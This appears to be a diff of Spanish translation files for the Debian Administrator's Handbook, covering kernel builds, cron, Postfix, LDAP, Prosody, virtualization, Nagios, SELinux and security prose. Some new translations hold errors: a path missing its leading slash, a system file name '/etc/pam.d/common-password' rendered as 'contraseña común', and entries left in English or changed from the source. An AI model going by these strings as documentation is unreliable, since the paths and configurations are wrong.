msgstr "Las fuentes de Linux en origen contienen todo lo necesario para crear el paquete Debian del núcleo. Sin embargo, necesitará instalar <emphasis role=\"pkg\">build-essential</emphasis> para asegurarse que posee las herramientas necesarias para crear un paquete Debian. Lo que es más, el paso de configuración para el núcleo necesita el paquete <emphasis role=\"pkg\">libncurses5-dev</emphasis> (antes <emphasis role=\"pkg\">libncurses5-dev</emphasis>, que es ahora un paquete de transición). Finalmente, el paquete <emphasis role=\"pkg\">fakeroot</emphasis> le permitirá crear el paquete Debian sin utilizar permisos de administrador."
@ -3260,10 +3256,8 @@ msgstr "El resto de esta sección se concentra en la versión 5.10 del núcleo L
msgid "<primary><filename>/usr</filename></primary><secondary><filename>/usr/src/linux-source-<replaceable>version</replaceable>.tar.xz</filename></secondary>"
msgstr "<primary><filename>/usr</filename></primary><secondary><filename>/usr/src/linux-source-<replaceable>versión</replaceable>.tar.xz</filename></secondary>"
#, fuzzy
#| msgid "We assume the <emphasis role=\"pkg\">linux-source-5.10</emphasis> package has been installed. It contains <filename>/usr/src/linux-source-5.10.tar.xz</filename>, a compressed archive of the kernel sources. You must extract these files in a new directory (not directly under <filename>/usr/src/</filename>, since there is no need for special permissions to compile a Linux kernel): <filename>~/kernel/</filename> is appropriate."
msgid "We assume the <emphasis role=\"pkg\">linux-source-5.10</emphasis> package has been installed. It contains <filename>/usr/src/linux-source-6.1.tar.xz</filename>, a compressed archive of the kernel sources. You must extract these files in a new directory (not directly under <filename>/usr/src/</filename>, since there is no need for special permissions to compile a Linux kernel): <filename>~/kernel/</filename> is appropriate."
msgstr "Asumimos que instaló el paquete <emphasis role=\"pkg\">linux-source-5.10</emphasis>. Contiene <filename>/usr/src/linux-source-5.10.tar.xz</filename>, un archivo comprimido de las fuentes del núcleo. Debe extraer estos archivos en un nuevo directorio (no directamente bajo <filename>/usr/src/</filename> ya que no necesita permisos especiales para compilar un núcleo Linux): <filename>~/kernel/</filename> es apropiado."
msgstr "Asumimos que instaló el paquete <emphasis role=\"pkg\">linux-source-5.10</emphasis>. Contiene <filename>usr/src/linux-source-6.1.tar.xz</filename>, un archivo comprimido de las fuentes del núcleo. Debe extraer estos archivos en un nuevo directorio (no directamente bajo <filename>/usr/src/</filename> ya que no necesita permisos especiales para compilar un núcleo Linux): <filename>~/kernel/</filename> es apropiado."
#, fuzzy
#| msgid ""

View file

@ -1,6 +1,6 @@
# AUTHOR <EMAIL@ADDRESS>, YEAR.
msgid ""
msgstr "Project-Id-Version: 0\nPOT-Creation-Date: 2025-04-22 01:11+0200\nPO-Revision-Date: 2025-07-09 08:02+0000\nLast-Translator: eulalio <eulalio@disroot.org>\nLanguage-Team: Spanish <https://hosted.weblate.org/projects/debian-handbook/09_unix-services/es/>\nLanguage: es-ES\nMIME-Version: 1.0\nContent-Type: application/x-publican; charset=UTF-8\nContent-Transfer-Encoding: 8bit\nPlural-Forms: nplurals=2; plural=n != 1;\nX-Generator: Weblate 5.13-dev\n"
msgstr "Project-Id-Version: 0\nPOT-Creation-Date: 2025-04-22 01:11+0200\nPO-Revision-Date: 2025-07-25 12:04+0000\nLast-Translator: eulalio <eulalio@disroot.org>\nLanguage-Team: Spanish <https://hosted.weblate.org/projects/debian-handbook/09_unix-services/es/>\nLanguage: es-ES\nMIME-Version: 1.0\nContent-Type: application/x-publican; charset=UTF-8\nContent-Transfer-Encoding: 8bit\nPlural-Forms: nplurals=2; plural=n != 1;\nX-Generator: Weblate 5.13-dev\n"
msgid "System boot"
msgstr "Arranque del sistema"
@ -2243,10 +2243,8 @@ msgstr "Tenga cuidado, sin embargo, si el orden y el tiempo entre ejecuciones de
msgid "Each significant line of a <filename>crontab</filename> entry describes a scheduled command with the six (or seven) following fields:"
msgstr "Cada línea significativa de un archivo <filename>crontab</filename> describe una tarea programada con los siguientes seis (o siete) campos:"
#, fuzzy
#| msgid "the value for the minute (number from 0 to 59);"
msgid "the value for the minute (from 0 to 59);"
msgstr "el valor del minuto (número de 0 a 59);"
msgstr "el valor del minuto (de 0 a 59);"
msgid "the value for the hour (from 0 to 23);"
msgstr "el valor de la hora (de 0 a 23);"

View file

@ -1,6 +1,6 @@
# AUTHOR <EMAIL@ADDRESS>, YEAR.
msgid ""
msgstr "Project-Id-Version: 0\nPOT-Creation-Date: 2025-04-22 01:11+0200\nPO-Revision-Date: 2025-07-13 13:02+0000\nLast-Translator: eulalio <eulalio@disroot.org>\nLanguage-Team: Spanish <https://hosted.weblate.org/projects/debian-handbook/11_network-services/es/>\nLanguage: es-ES\nMIME-Version: 1.0\nContent-Type: text/plain; charset=UTF-8\nContent-Transfer-Encoding: 8bit\nPlural-Forms: nplurals=2; plural=n != 1;\nX-Generator: Weblate 5.13-dev\n"
msgstr "Project-Id-Version: 0\nPOT-Creation-Date: 2025-04-22 01:11+0200\nPO-Revision-Date: 2025-08-01 13:02+0000\nLast-Translator: eulalio <eulalio@disroot.org>\nLanguage-Team: Spanish <https://hosted.weblate.org/projects/debian-handbook/11_network-services/es/>\nLanguage: es-ES\nMIME-Version: 1.0\nContent-Type: text/plain; charset=UTF-8\nContent-Transfer-Encoding: 8bit\nPlural-Forms: nplurals=2; plural=n != 1;\nX-Generator: Weblate 5.13-dev\n"
msgid "Postfix"
msgstr "Postfix"
@ -362,10 +362,8 @@ msgstr ""
"smtpd_tls_CApath = /etc/ssl/certs\n"
"smtp_tls_CApath = /etc/ssl/certs"
#, fuzzy
#| msgid "A different way to generate own certificates is described in <xref linkend=\"sect.easy-rsa\" />."
msgid "A different way to generate your own certificates using your own certificate authority is described in <xref linkend=\"sect.easy-rsa\" />."
msgstr "En <xref linkend=\"sect.easy-rsa\" /> se describe una forma diferente de generar certificados propios."
msgstr "En <xref linkend=\"sect.easy-rsa\" /> se describe una forma diferente de generar tus propios certificados utilizando tu autoridad de certificación."
msgid "Configuring Virtual Domains"
msgstr "Configuración de dominios virtuales"
@ -792,10 +790,8 @@ msgstr "La regla <literal>reject_rhsbl_sender</literal> rechaza remitentes en ba
msgid "<primary>Postfix</primary><secondary><literal>reject_rhsbl_sender</literal></secondary>"
msgstr "<primary>Postfix</primary><secondary><literal>reject_rhsbl_sender</literal></secondary>"
#, fuzzy
#| msgid "Accepting or Refusing Based on the Recipient"
msgid "Accepting or Refusing Mails Based on the Recipient"
msgstr "Aceptación o rechazo basado en el receptor"
msgstr "Aceptación o rechazo basado en el destinatario"
msgid "<primary>Postfix</primary><secondary><literal>smtpd_recipient_restrictions</literal></secondary>"
msgstr "<primary>Postfix</primary><secondary><literal>smtpd_recipient_restrictions</literal></secondary>"
@ -2105,15 +2101,11 @@ msgstr ""
msgid "The Apache server, as configured so far, uses the same log files for all virtual hosts (although this could be changed by adding <literal>CustomLog</literal> directives in the definitions of the virtual hosts). It therefore makes good sense to customize the format of this log file to have it include the name of the virtual host. This can be done by creating a <filename>/etc/apache2/conf-available/customlog.conf</filename> file that defines a new format for all log files (with the <literal>LogFormat</literal> directive) and by enabling it with <command>a2enconf customlog</command>. The <literal>CustomLog</literal> line must also be removed (or commented out) from the <filename>/etc/apache2/sites-available/000-default.conf</filename> file."
msgstr "El servidor Apache, como está configurado hasta ahora, utiliza los mismos archivos de registro para todos los servidores virtuales (puede cambiarlo agregando directivas <literal>CustomLog</literal> en las definiciones de servidores virtuales). Por lo tanto, tiene sentido personalizar el formato de este archivo de registro para incluir el nombre del servidor virtual. Puede hacerlo creando un archivo <filename>/etc/apache2/conf-available/customlog.conf</filename> que define un nuevo formato para todos los archivos de registro (con la directiva <literal>LogFormat</literal>) y habilitándolo con la orden <command>a2enconf customlog</command>. También debe eliminar (o comentar) la línea <literal>CustomLog</literal> del archivo <filename>/etc/apache2/sites-available/000-default.conf</filename>."
#, fuzzy
#| msgid "<primary>Apache</primary><secondary><literal>CustomLog</literal></secondary>"
msgid "<primary>Apache</primary><secondary><literal>CustomLog</literal>, directive</secondary>"
msgstr "<primary>Apache</primary><secondary><literal>CustomLog</literal>, directive</secondary>"
msgstr "<primary>Apache</primary><secondary><literal>CustomLog</literal>, directiva</secondary>"
#, fuzzy
#| msgid "<primary>Apache</primary><secondary><literal>LogFormat</literal></secondary>"
msgid "<primary>Apache</primary><secondary><literal>LogFormat</literal>, directive</secondary>"
msgstr "<primary>Apache</primary><secondary><literal>LogFormat</literal>, directive</secondary>"
msgstr "<primary>Apache</primary><secondary><literal>LogFormat</literal>, directiva</secondary>"
#, fuzzy
#| msgid "<primary>Apache</primary><secondary><filename>/etc/apache2/conf-available</filename></secondary>"
@ -3839,10 +3831,8 @@ msgstr "El paquete <emphasis role=\"pkg\">libpam-ldap</emphasis> provee el módu
msgid "<primary><emphasis role=\"pkg\">libpam-ldapd</emphasis></primary>"
msgstr "<primary><emphasis role=\"pkg\">libpam-ldapd</emphasis></primary>"
#, fuzzy
#| msgid "Installing <emphasis role=\"pkg\">libpam-ldap</emphasis> automatically adapts the default PAM configuration defined in the <filename>/etc/pam.d/common-auth</filename>, <filename>/etc/pam.d/common-password</filename> and <filename>/etc/pam.d/common-account</filename> files. This mechanism uses the dedicated <command>pam-auth-update</command> tool (provided by the <emphasis role=\"pkg\">libpam-runtime</emphasis> package). This tool can also be run by the administrator should they wish to enable or disable PAM modules."
msgid "Installing <emphasis role=\"pkg\">libpam-ldapd</emphasis> automatically adapts the default PAM configuration defined in the <filename>/etc/pam.d/common-auth</filename>, <filename>/etc/pam.d/common-password</filename> and <filename>/etc/pam.d/common-account</filename> files. This mechanism uses the dedicated <command>pam-auth-update</command> tool (provided by the <emphasis role=\"pkg\">libpam-runtime</emphasis> package). This tool can also be run by the administrator should they wish to enable or disable PAM modules."
msgstr "Instalar el paquete <emphasis role=\"pkg\">libpam-ldap</emphasis> automáticamente adapta la configuración PAM predeterminada definida en los archivos <filename>/etc/pam.d/common-auth</filename>, <filename>/etc/pam.d/common-password</filename> y <filename>/etc/pam.d/common-account</filename>. Este mecanismo utiliza la herramienta dedicada <command>pam-auth-update</command> (provista por el paquete <emphasis role=\"pkg\">libpam-runtime</emphasis>). El administrador también puede utilizar esta herramienta si desea activar o desactivar módulos PAM."
msgstr "La instalación de <emphasis role=\"pkg\">libpam-ldapd</emphasis> adapta automáticamente la configuración PAM predeterminada definida en <filename> /etc/pam.d/common-auth</filename>, <filename>/etc/pam.d/contraseña común </filename> y <filename>/etc/pam.d/common-account</filename> archivos. Este mecanismo utiliza la herramienta <command>pam-auth-update</command> dedicada (proporcionada por el paquete<emphasis role=\"pkg\">libpam-runtime</emphasis>). Esta herramienta también la puede ejecutar el administrador en caso de que desee habilitar o deshabilitar los módulos PAM."
#, fuzzy
#| msgid "<primary><command>apache</command></primary>"
@ -4174,24 +4164,6 @@ msgstr "<primary><filename>OpenLDAP</filename></primary><secondary><filename>/et
msgid "The <filename>/etc/ldap/ldap.conf</filename> file"
msgstr "El archivo <filename>/etc/ldap/ldap.conf</filename>"
#, fuzzy
#| msgid ""
#| "#\n"
#| "# LDAP Defaults\n"
#| "#\n"
#| "\n"
#| "# See ldap.conf(5) for details\n"
#| "# This file should be world readable but not world writable.\n"
#| "\n"
#| "BASE dc=falcot,dc=com\n"
#| "URI ldaps://ldap.falcot.com\n"
#| "\n"
#| "#SIZELIMIT 12\n"
#| "#TIMELIMIT 15\n"
#| "#DEREF never\n"
#| "\n"
#| "# TLS certificates (needed for GnuTLS)\n"
#| "TLS_CACERT /etc/ssl/certs/ca-certificates.crt"
msgid ""
"#\n"
"# LDAP Defaults\n"
@ -4209,23 +4181,7 @@ msgid ""
"\n"
"# TLS certificates (needed for GnuTLS)\n"
"TLS_CACERT /etc/ssl/certs/ca-certificates.crt"
msgstr ""
"#\n"
"# Valores predeterminados para LDAP\n"
"#\n"
"\n"
"# Revise ldap.conf(5) para más detalles\n"
"# Este archivo debe poder ser leído (pero no escrito) por cualquiera.\n"
"\n"
"BASE dc=falcot,dc=com\n"
"URI ldaps://ldap.falcot.com\n"
"\n"
"#SIZELIMIT 12\n"
"#TIMELIMIT 15\n"
"#DEREF never\n"
"\n"
"# Certificados TLC (necesarios para GnuTLS)\n"
"TLS_CACERT /etc/ssl/certs/ca-certificates.crt"
msgstr "#\n# Predeterminados para LDAP\n#\n\n# Revise ldap.conf(5) para más detalles\n# Este archivo ha de ser legible, pero no escrito por cualquiera.\n\n#BASE dc=example,dc=com\n#URI ldap://ldap.example.com ldap://ldap-provider.example.com:666\n\n#SIZELIMIT 12\n#TIMELIMIT 15\n#DEREF never\n\n# Certificados TLC (necesarios para GnuTLS)\nTLS_CACERT /etc/ssl/certs/ca-certificates.crt"
msgid "Real-Time Communication Services"
msgstr "Servicios de comunicación en tiempo real"
@ -4644,17 +4600,7 @@ msgid ""
"\n"
"-- Set up a MUC (multi-user chat) room server on conference.example.com:\n"
"Component \"conference.falcot.com\" \"muc\""
msgstr ""
"\n"
"VirtualHost \"falcot.com\"\n"
" enabled = true\n"
" ssl = {\n"
" key = \"/etc/ssl/private/falcot.com-key.pem\";\n"
" certificate = \"/etc/ssl/public/falcot.com.pem\";\n"
" }\n"
"\n"
"-- Configura un servidor de sala de MUC («multi-user chat», chat multiusuario) en conference.example.com:\n"
"Component \"conference.falcot.com\" \"muc\""
msgstr "\nVirtualHost \"falcot.com\"\n enabled = true\n ssl = {\n key = \"/etc/ssl/private/falcot.com.key\";\n certificate = \"/etc/ssl/certs/falcot.com.pem\";\n }\n\n-- Set up a MUC (multi-user chat) room server on conference.example.com:\nComponent \"conference.falcot.com\" \"muc\""
msgid "To enable the domain, there must be a symlink from <filename>/etc/prosody/conf.d/</filename>. Create it that way:"
msgstr "Para activar el dominio debe haber un enlace simbólico de <filename>/etc/prosody/conf.d/</filename>. Créelo de este modo:"

View file

@ -1,6 +1,6 @@
# AUTHOR <EMAIL@ADDRESS>, YEAR.
msgid ""
msgstr "Project-Id-Version: 0\nPOT-Creation-Date: 2025-04-22 01:11+0200\nPO-Revision-Date: 2025-07-13 13:01+0000\nLast-Translator: eulalio <eulalio@disroot.org>\nLanguage-Team: Spanish <https://hosted.weblate.org/projects/debian-handbook/12_advanced-administration/es/>\nLanguage: es-ES\nMIME-Version: 1.0\nContent-Type: application/x-publican; charset=UTF-8\nContent-Transfer-Encoding: 8bit\nPlural-Forms: nplurals=2; plural=n != 1;\nX-Generator: Weblate 5.13-dev\n"
msgstr "Project-Id-Version: 0\nPOT-Creation-Date: 2025-04-22 01:11+0200\nPO-Revision-Date: 2025-08-03 11:02+0000\nLast-Translator: eulalio <eulalio@disroot.org>\nLanguage-Team: Spanish <https://hosted.weblate.org/projects/debian-handbook/12_advanced-administration/es/>\nLanguage: es-ES\nMIME-Version: 1.0\nContent-Type: application/x-publican; charset=UTF-8\nContent-Transfer-Encoding: 8bit\nPlural-Forms: nplurals=2; plural=n != 1;\nX-Generator: Weblate 5.13-dev\n"
msgid "RAID"
msgstr "RAID"
@ -2965,23 +2965,7 @@ msgid ""
"Allocating 'testkvm.qcow'\n"
"\n"
"</computeroutput>"
msgstr ""
"<computeroutput># </computeroutput><userinput>virt-install --connect qemu:///system <co id=\"virtinst.connect\"></co>\n"
" --virt-type kvm <co id=\"virtinst.type\"></co>\n"
" --name testkvm <co id=\"virtinst.name\"></co>\n"
" --memory 2048 <co id=\"virtinst.ram\"></co>\n"
" --disk /srv/kvm/testkvm.qcow,format=qcow2,size=10 <co id=\"virtinst.disk\"></co>\n"
" --cdrom /srv/isos/debian-11.2.0-amd64-netinst.iso <co id=\"virtinst.cdrom\"></co>\n"
" --network bridge=virbr0 <co id=\"virtinst.network\"></co>\n"
" --graphics vnc <co id=\"virtinst.vnc\"></co>\n"
" --os-type linux <co id=\"virtinst.os\"></co>\n"
" --os-variant debiantesting\n"
"</userinput><computeroutput>\n"
"\n"
"Starting install...\n"
"Allocating 'testkvm.qcow'\n"
"\n"
"</computeroutput>"
msgstr "<computeroutput># </computeroutput><userinput>virt-install --connect qemu:///system <co id=\"virtinst.connect\"></co>\n --virt-type kvm <co id=\"virtinst.type\"></co>\n --name testkvm <co id=\"virtinst.name\"></co>\n --memory 2048 <co id=\"virtinst.ram\"></co>\n --disk /srv/kvm/testkvm.qcow,format=qcow2,size=10 <co id=\"virtinst.disk\"></co>\n --cdrom /srv/isos/debian-12.6.0-amd64-netinst.iso <co id=\"virtinst.cdrom\"></co>\n --network bridge=virbr0 <co id=\"virtinst.network\"></co>\n --graphics vnc <co id=\"virtinst.vnc\"></co>\n --os-type linux <co id=\"virtinst.os\"></co>\n --os-variant debiantesting\n</userinput><computeroutput>\n\nStarting install...\nAllocating 'testkvm.qcow'\n\n</computeroutput>"
msgid "The <literal>--connect</literal> option specifies the “hypervisor” to use. Its form is that of an URL containing a virtualization system (<literal>xen://</literal>, <literal>qemu://</literal>, <literal>lxc://</literal>, <literal>openvz://</literal>, <literal>vbox://</literal>, and so on) and the machine that should host the VM (this can be left empty in the case of the local host). In addition to that, and in the QEMU/KVM case, each user can manage virtual machines working with restricted permissions, and the URL path allows differentiating “system” machines (<literal>/system</literal>) from others (<literal>/session</literal>)."
msgstr "La opción <literal>--connect</literal> especifica el «hypervisor» a utilizar. En forma de una URL que contiene un sistema de virtualización (<literal>xen://</literal>, <literal>qemu://</literal>, <literal>lxc://</literal>, <literal>openvz://</literal>, <literal>vbox://</literal>, etc.) y el equipo que alojará la VM (puede dejarlo vacío si es el equipo local). Además, y en el caso de QEMU/KVM, cada usuario puede administrar máquinas virtuales con permisos restringidos, y la ruta de la URL permite diferenciar equipos de «sistema» (<literal>/system</literal>) de los demás (<literal>/session</literal>)."
@ -3654,10 +3638,8 @@ msgstr "luego debian-cd genera la imagen ISO final."
msgid "Generating an ISO Image"
msgstr "Generación de una imagen ISO"
#, fuzzy
#| msgid "Once we have written a configuration file and defined our profiles, the remaining step is to invoke <command>build-simple-cdd --conf simple-cdd.conf</command>. After a few minutes, we get the required image in <filename>images/debian-11-amd64-CD-1.iso</filename>."
msgid "Once we have written a configuration file and defined our profiles, the remaining step is to invoke <command>build-simple-cdd --conf simple-cdd.conf</command>. After a few minutes, we get the required image in <filename>images/debian-12-amd64-CD-1.iso</filename>."
msgstr "Una vez que escribimos un archivo de configuración y definimos nuestros perfiles, el paso que resta es ejecutar <command>build-simple-cdd --conf simple-cdd.conf</command>. Luego de unos minutos tendremos la imagen necesaria en <filename>images/debian-11-amd64-CD-1.iso</filename>."
msgstr "Una vez que escribimos un archivo de configuración y definimos nuestros perfiles, el paso que resta es ejecutar <command>build-simple-cdd --conf simple-cdd.conf</command>. Luego de unos minutos tendremos la imagen necesaria en <filename>images/debian-12-amd64-CD-1.iso</filename>."
msgid "<primary>monitoring</primary>"
msgstr "<primary>monitorización</primary>"
@ -4233,10 +4215,8 @@ msgstr ""
" check_command check_ftp2\n"
"}"
#, fuzzy
#| msgid "This configuration file describes two monitored hosts. The first one is the web server, and the checks are made on the HTTP (80) and secure-HTTP (443) ports. Nagios also checks that an SMTP server runs on port 25. The second host is the FTP server, and the check includes making sure that a reply comes within 20 seconds. Beyond this delay, a <emphasis>warning</emphasis> is emitted; beyond 30 seconds, the alert is deemed critical. The Nagios web interface also shows that the SSH service is monitored: this comes from the hosts belonging to the <literal>ssh-servers</literal> hostgroup. The matching standard service is defined in <filename>/etc/nagios4/conf.d/services_nagios2.cfg</filename>."
msgid "This configuration file describes two monitored hosts. The first one is the web server, and the checks are made on the HTTP (80) and secure-HTTP (443) ports. Nagios also checks that an SMTP server runs on port 25. The second host is the FTP server, and the check includes making sure that a reply comes within 20 seconds. Beyond this delay, a <emphasis>warning</emphasis> is emitted; beyond 30 seconds, the alert is deemed critical. The Nagios web interface also shows that the SSH service is monitored: this comes from the hosts belonging to the <literal>ssh-servers</literal> hostgroup."
msgstr "Este archivo de configuración describe dos equipos monitorizados. El primero es el servidor web, y se realizan chequeos en los puertos HTTP (80) y HTTP seguro (443). Nagios también revisa que el servidor SMTP ejecute en el puerto 25. El segundo equipo es el servidor FTP y el chequeo incluye asegurarse que responda en menos de 20 segundos. Más allá de esta demora, se generará un «<emphasis>warning</emphasis>» («precaución»); más de 30 segundos generará una alerta crítica. La interfaz web también muestra que se monitoriza el servicio SSH: esto proviene de los equipos que pertenecen al «hostgroup» <literal>ssh-servers</literal>. El servicio estándar asociado está definido en <filename>/etc/nagios4/conf.d/services_nagios2.cfg</filename>."
msgstr "Este archivo de configuración describe dos equipos monitorizados. El primero es el servidor web, y se realizan chequeos en los puertos HTTP (80) y HTTP seguro (443). Nagios también revisa que el servidor SMTP ejecute en el puerto 25. El segundo equipo es el servidor FTP y el chequeo incluye asegurarse que responda en menos de 20 segundos. Más allá de esta demora, se generará un «<emphasis>warning</emphasis>» («precaución»); más de 30 segundos generará una alerta crítica. La interfaz web de Nagios también muestra que el servicio SSH está monitoreado: esto proviene de los hosts que pertenecen al grupo de host <literal>ssh-servers</literal>."
msgid "Note the use of inheritance: an object is made to inherit from another object with the “use <replaceable>parent-name</replaceable>”. The parent object must be identifiable, which requires giving it a “name <replaceable>identifier</replaceable>” property. If the parent object is not meant to be a real object, but only to serve as a parent, giving it a “register 0” property tells Nagios not to consider it, and therefore to ignore the lack of some parameters that would otherwise be required."
msgstr "Verá cómo utilizamos herencia: un objeto hereda de otro objeto con la propiedad «use <replaceable>nombre-padre</replaceable>». Debemos poder identificar al objeto padre, lo que requiere incluir en él una propiedad «name <replaceable>identificador</replaceable>». Si no deseamos que el objeto padre sea un objeto real, sino que sólo sirva como padre, agregar una propiedad «register 0» le indica a Nagios que no lo considere y, por lo tanto, ignore la falta de algunos parámetros que serían obligatorios."

View file

@ -1,6 +1,6 @@
# AUTHOR <EMAIL@ADDRESS>, YEAR.
msgid ""
msgstr "Project-Id-Version: 0\nPOT-Creation-Date: 2025-04-22 01:11+0200\nPO-Revision-Date: 2025-07-13 13:02+0000\nLast-Translator: eulalio <eulalio@disroot.org>\nLanguage-Team: Spanish <https://hosted.weblate.org/projects/debian-handbook/14_security/es/>\nLanguage: es-ES\nMIME-Version: 1.0\nContent-Type: application/x-publican; charset=UTF-8\nContent-Transfer-Encoding: 8bit\nPlural-Forms: nplurals=2; plural=n != 1;\nX-Generator: Weblate 5.13-dev\n"
msgstr "Project-Id-Version: 0\nPOT-Creation-Date: 2025-04-22 01:11+0200\nPO-Revision-Date: 2025-07-25 12:04+0000\nLast-Translator: eulalio <eulalio@disroot.org>\nLanguage-Team: Spanish <https://hosted.weblate.org/projects/debian-handbook/14_security/es/>\nLanguage: es-ES\nMIME-Version: 1.0\nContent-Type: application/x-publican; charset=UTF-8\nContent-Transfer-Encoding: 8bit\nPlural-Forms: nplurals=2; plural=n != 1;\nX-Generator: Weblate 5.13-dev\n"
msgid "Firewall"
msgstr "Firewall"
@ -2502,34 +2502,7 @@ msgid ""
"\n"
"allow myapp_t myapp_tmp_t:file manage_file_perms;\n"
"files_tmp_filetrans(myapp_t,myapp_tmp_t,file)"
msgstr ""
"policy_module(myapp,1.0.0) <co id=\"example.te.module\"></co>\n"
"\n"
"########################################\n"
"#\n"
"# Declaraciones\n"
"#\n"
"\n"
"type myapp_t; <co id=\"example.te.type\"></co>\n"
"type myapp_exec_t;\n"
"domain_type(myapp_t)\n"
"domain_entry_file(myapp_t, myapp_exec_t) <co id=\"example.te.domain\"></co>\n"
"\n"
"type myapp_log_t;\n"
"logging_log_file(myapp_log_t) <co id=\"example.te.interface\"></co>\n"
"\n"
"type myapp_tmp_t;\n"
"files_tmp_file(myapp_tmp_t)\n"
"\n"
"########################################\n"
"#\n"
"# Política local de Myapp\n"
"#\n"
"\n"
"allow myapp_t myapp_log_t:file { read_file_perms append_file_perms }; <co id=\"example.te.allow\"></co>\n"
"\n"
"allow myapp_t myapp_tmp_t:file manage_file_perms;\n"
"files_tmp_filetrans(myapp_t,myapp_tmp_t,file)"
msgstr "policy_module(example,1.0.0) <co id=\"example.te.module\"></co> # a non-base module name must match the file name\n\n########################################\n#\n# Declarations\n#\n\ntype myapp_t; <co id=\"example.te.type\"></co>\ntype myapp_exec_t;\ndomain_type(myapp_t)\ndomain_entry_file(myapp_t, myapp_exec_t) <co id=\"example.te.domain\"></co>\n\ntype myapp_log_t;\nlogging_log_file(myapp_log_t) <co id=\"example.te.interface\"></co>\n\ntype myapp_tmp_t;\nfiles_tmp_file(myapp_tmp_t)\n\n########################################\n#\n# Myapp local policy\n#\n\nallow myapp_t myapp_log_t:file { read_file_perms append_file_perms }; <co id=\"example.te.allow\"></co>\n\nallow myapp_t myapp_tmp_t:file manage_file_perms;\nfiles_tmp_filetrans(myapp_t,myapp_tmp_t,file)"
msgid "The module must be identified by its name and version number. This directive is required."
msgstr "El módulo debe ser identificado por su nombre y número de versión. Esta directiva es obligatoria."
@ -2636,7 +2609,7 @@ msgstr "El objeto destino es un archivo FIFO."
#, fuzzy
#| msgid "<primary><command>top</command></primary>"
msgid "<primary><command>audit2allow</command></primary>"
msgstr "<primary><command>top</command></primary>"
msgstr "<primary><command>audit2allow</command></primary>"
#, fuzzy
#| msgid "<primary><emphasis role=\"pkg\">checksecurity</emphasis></primary>"
@ -2711,7 +2684,7 @@ msgstr "<emphasis>mod-security2</emphasis> (en el paquete <emphasis role=\"pkg\"
#, fuzzy
#| msgid "<primary>OSI</primary><secondary>model</secondary>"
msgid "<primary>Apache</primary><secondary><literal>mod-security2</literal></secondary>"
msgstr "<primary>OSI</primary><secondary>modelo</secondary>"
msgstr "<primary>Apache</primary><secondary><literal>mod-security2</literal></secondary>"
#, fuzzy
#| msgid "<primary><emphasis role=\"pkg\">libapache-mod-security</emphasis></primary>"
@ -2721,12 +2694,10 @@ msgstr "<primary><emphasis role=\"pkg\">libapache-mod-security</emphasis></prima
#, fuzzy
#| msgid "<primary><emphasis role=\"pkg\">checksecurity</emphasis></primary>"
msgid "<primary><emphasis role=\"pkg\">modsecurity-crs</emphasis></primary>"
msgstr "<primary><emphasis role=\"pkg\">checksecurity</emphasis></primary>"
msgstr "<primary><emphasis role=\"pkg\">modsecurity-crs</emphasis></primary>"
#, fuzzy
#| msgid "The consequences of an intrusion will have various levels of obviousness depending on the motivations of the attacker. <emphasis>Script-kiddies</emphasis> only apply recipes they find on web sites; most often, they deface a web page or delete data. In more subtle cases, they add invisible contents to web pages so as to improve referrals to their own sites in search engines."
msgid "The consequences of an intrusion will have various levels of obviousness depending on the motivations of the attacker. “Script-kiddies“ only apply recipes they find on web sites; most often, they deface a web page or delete data. In more subtle cases, they add invisible contents to web pages so as to improve referrals to their own sites in search engines. In others, they simply install crypto-miners and use the compromised system to fill their crypto wallets."
msgstr "Las consecuencias de una intrusión tendrán varios niveles de obviedad dependiendo de las motivaciones del atacante. Los «<emphasis>script kiddies</emphasis>» sólo aplican recetas que encuentran en sitios web; generalmente desfiguran una página web o borran datos. En casos más sutiles agregan contenido invisible a las páginas web para mejorar las referencias a sus propios sitios en los motores de búsqueda."
msgstr "Las consecuencias de una intrusión tendrán varios niveles de obviedad dependiendo de las motivaciones del atacante. Los «<emphasis>script kiddies</emphasis>» sólo aplican recetas que encuentran en sitios web; generalmente desfiguran una página web o borran datos. En casos más sutiles agregan contenido invisible a las páginas web para mejorar las referencias a sus propios sitios en los motores de búsqueda. En otros, simplemente instalan criptomineros y usan el sistema comprometido para llenar sus billeteras criptográficas."
msgid "Another very common scenario nowadays is a ransomware attack. The attackers will encrypt the data on the machine and leave a note with instructions how to pay ransom to get the key to decrypt the data. Of course, it is not for certain that even after paying, the data can be recovered or be sure it hasn't been stolen (and sold) as well."
msgstr ""
@ -2740,10 +2711,8 @@ msgstr "En este punto el atacante tiene suficiente libertad de movimiento y, gen
msgid "<emphasis>VOCABULARY</emphasis> Privilege escalation"
msgstr "<emphasis>VOCABULARIO</emphasis> Escalada de privilegios"
#, fuzzy
#| msgid "<primary>monitoring</primary><secondary>log files</secondary>"
msgid "<primary>permissions</primary><secondary>privilege escalation</secondary>"
msgstr "<primary>monitorización</primary><secondary>archivos de registro</secondary>"
msgstr "<primary>permisos</primary><secondary>escala de privilegios</secondary>"
#, fuzzy
#| msgid "<primary><command>snort</command></primary>"
@ -2764,18 +2733,14 @@ msgstr "Este es un escenario de pesadilla que se puede prevenir con varias medid
msgid "Choosing the Software Wisely"
msgstr "Selección prudente de software"
#, fuzzy
#| msgid "Once the potential security problems are known, they must be taken into account at each step of the process of deploying a service, especially when choosing the software to install. Many web sites, such as <literal>SecurityFocus.com</literal>, keep a list of recently-discovered vulnerabilities, which can give an idea of a security track record before some particular software is deployed. Of course, this information must be balanced against the popularity of said software: a more widely-used program is a more tempting target, and it will be more closely scrutinized as a consequence. On the other hand, a niche program may be full of security holes that never get publicized due to a lack of interest in a security audit."
msgid "Once the potential security problems are known, they must be taken into account at each step of the process of deploying a service, especially when choosing the software to install. Many web sites keep a list of recently-discovered vulnerabilities, which can give an idea of a security track record before some particular software is deployed. Of course, this information must be balanced against the popularity of said software: a more widely-used program is a more tempting target, and it will be more closely scrutinized as a consequence. On the other hand, a niche program may be full of security holes that never get publicized due to a lack of interest in a security audit."
msgstr "Una vez que se conocen los problemas de seguridad, debe tenerlos en cuenta en cada paso del proceso de desplegado de un servicio, especialmente al elegir el software que instalar. Muchos sitios web, como <literal>SecurityFocus.com</literal>, mantienen una lista de vulnerabilidades descubiertas recientemente, lo cual le puede dar una idea del historial de seguridad de un software antes de desplegarlo. Por supuesto, debe balancear esta información con la popularidad de dicho software: un programa más utilizado es un objetivo más tentador y, consecuentemente, será investigado más en detalle. Por el otro lado, un programa de nicho podría estar lleno de huecos de seguridad que nunca son publicados debido a la falta de interés en una auditoría de seguridad."
